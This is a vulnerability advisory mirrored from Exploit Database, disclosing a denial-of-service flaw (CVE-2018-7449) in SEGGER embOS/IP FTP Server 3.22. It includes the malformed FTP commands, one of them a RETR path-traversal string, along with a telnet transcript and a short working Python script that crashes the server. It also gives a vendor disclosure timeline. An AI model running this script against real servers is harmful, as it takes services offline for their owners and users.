SEGGER embOS/IP FTP Server 3.22 – Denial of Service

• Exploit Database
• 17 阅读

• 作者： hyp3rlinx
  日期： 2018-03-02
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44221/

• [+] Credits: John Page (aka hyp3rlinx)		
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt
  [+] ISR: Apparition Security
   
  
  
  Vendor:
  =============
  www.segger.com
  
  
  Product:
  ===========
  embOS/IP FTP Server v3.22
  
  
  Vulnerability Type:
  ===================
  FTP Commands Denial Of Service
  
  
  
  CVE Reference:
  ==============
  CVE-2018-7449
  
  
  Security Issue:
  ================
  SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial of service (daemon crash)
  via an invalid LIST, STOR, or RETR command.
  
  STOR 666\r\n
  LIST\r\n
  RETR '+'..\\'*8+'Windows\system.ini\r\n
  
  
  TELNET x.x.x.x 21
  
  220 Welcome to embOS/IP FTP server
  USER anonymous
  331 Password required.
  PASS anonymous
  230 User logged in, proceed.
  STOR Bye!
  
  CRASH!!!
  
  
  
  Exploit/POC:
  =============
  import socket,time
  
  VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ')
  USR='anonymous'
  PWD='anonymous'
  CMD="STOR Bye!\r\n"
  
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((VICTIM, 21)) 
  print s.recv(1024) # Recieve FTP Banner
  time.sleep(1)
  s.send("USER " + USR+ "\r\n") 
  print s.recv(1024) 
  time.sleep(1)
  s.send("PASS "+ PWD+"\r\n") #
  print s.recv(1024) 
  time.sleep(1)
  s.send(CMD)
  print 'Sent %s' % CMD
  s.close() 
  
  
  
  
  Network Access:
  ===============
  Remote
  
  
  
  Severity:
  =========
  Medium
  
  
  
  Disclosure Timeline:
  =============================
  Vendor Notification:February 17, 2018
  Vendor acknowledgement: February 19, 2018
  Vendor released fixed version v3.22a : February 23, 2018
  March 1, 2018 : Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).